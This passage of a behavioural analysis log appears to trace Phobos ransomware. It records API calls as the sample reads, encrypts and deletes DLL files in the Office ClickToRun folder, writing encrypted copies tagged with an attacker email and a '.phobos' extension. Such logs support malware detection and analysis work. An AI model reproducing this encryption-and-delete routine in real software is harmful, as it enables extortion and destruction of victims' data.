hTemplateFile=0x0) returned 0x300 [0062.761] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dccd0) returned 1 [0062.761] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.761] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x60c0, lpOverlapped=0x0) returned 1 [0062.791] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60d0) returned 1 [0062.791] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x60d0, lpOverlapped=0x0) returned 1 [0062.792] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc750) returned 1 [0062.793] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.793] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60, dwBufLen=0x60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60) returned 1 [0062.793] CryptDestroyKey (hKey=0x10dc750) returned 1 [0062.793] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x112, lpOverlapped=0x0) returned 1 [0062.793] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0062.793] CloseHandle (hObject=0x338) returned 1 [0062.793] CloseHandle (hObject=0x300) returned 1 [0062.793] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0062.794] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.794] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=21184) returned 1 [0062.794] CloseHandle (hObject=0x300) returned 1 [0062.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0062.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.795] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.795] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.795] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcbd0) returned 1 [0062.795] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.795] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x52c0, lpOverlapped=0x0) returned 1 [0062.909] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x52d0) returned 1 [0062.909] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x52d0, lpOverlapped=0x0) returned 1 [0062.910] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc9d0) returned 1 [0062.910] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.910] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60, dwBufLen=0x60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60) returned 1 [0062.910] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0062.910] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x112, lpOverlapped=0x0) returned 1 [0062.910] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.910] CloseHandle (hObject=0x300) returned 1 [0062.910] CloseHandle (hObject=0x338) returned 1 [0062.910] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0062.911] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.912] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=19136) returned 1 [0062.912] CloseHandle (hObject=0x338) returned 1 [0062.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0062.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.912] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.912] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.913] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc850) returned 1 [0062.913] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.913] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4ac0, lpOverlapped=0x0) returned 1 [0062.919] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4ad0) returned 1 [0062.919] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0062.922] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc790) returned 1 [0062.922] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.922] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.922] CryptDestroyKey (hKey=0x10dc790) returned 1 [0062.922] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.922] CryptDestroyKey (hKey=0x10dc850) returned 1 [0062.922] CloseHandle (hObject=0x338) returned 1 [0062.922] CloseHandle (hObject=0x300) returned 1 [0062.922] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0062.923] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.923] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=307416) returned 1 [0062.923] CloseHandle (hObject=0x300) returned 1 [0062.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0062.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.924] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.924] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=2118360) returned 1 [0062.924] CloseHandle (hObject=0x300) returned 1 [0062.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0062.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0062.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0062.925] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.925] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=468696) returned 1 [0062.925] CloseHandle (hObject=0x300) returned 1 [0062.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0062.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.926] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.926] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=396960) returned 1 [0062.926] CloseHandle (hObject=0x300) returned 1 [0062.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0062.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.926] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.926] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.927] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc890) returned 1 [0062.927] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.927] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x60ea0, lpOverlapped=0x0) returned 1 [0062.929] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60eb0, dwBufLen=0x60eb0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60eb0) returned 1 [0062.930] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x60eb0, lpOverlapped=0x0) returned 1 [0062.936] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0062.936] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.936] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0062.936] CryptDestroyKey (hKey=0x10dc910) returned 1 [0062.936] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0062.936] CryptDestroyKey (hKey=0x10dc890) returned 1 [0062.936] CloseHandle (hObject=0x300) returned 1 [0062.936] CloseHandle (hObject=0x338) returned 1 [0062.936] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0062.939] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.940] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=473760) returned 1 [0062.940] CloseHandle (hObject=0x338) returned 1 [0062.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0062.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.940] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.940] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=210648) returned 1 [0062.940] CloseHandle (hObject=0x338) returned 1 [0062.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0062.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.941] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.941] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1402584) returned 1 [0062.941] CloseHandle (hObject=0x338) returned 1 [0062.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common 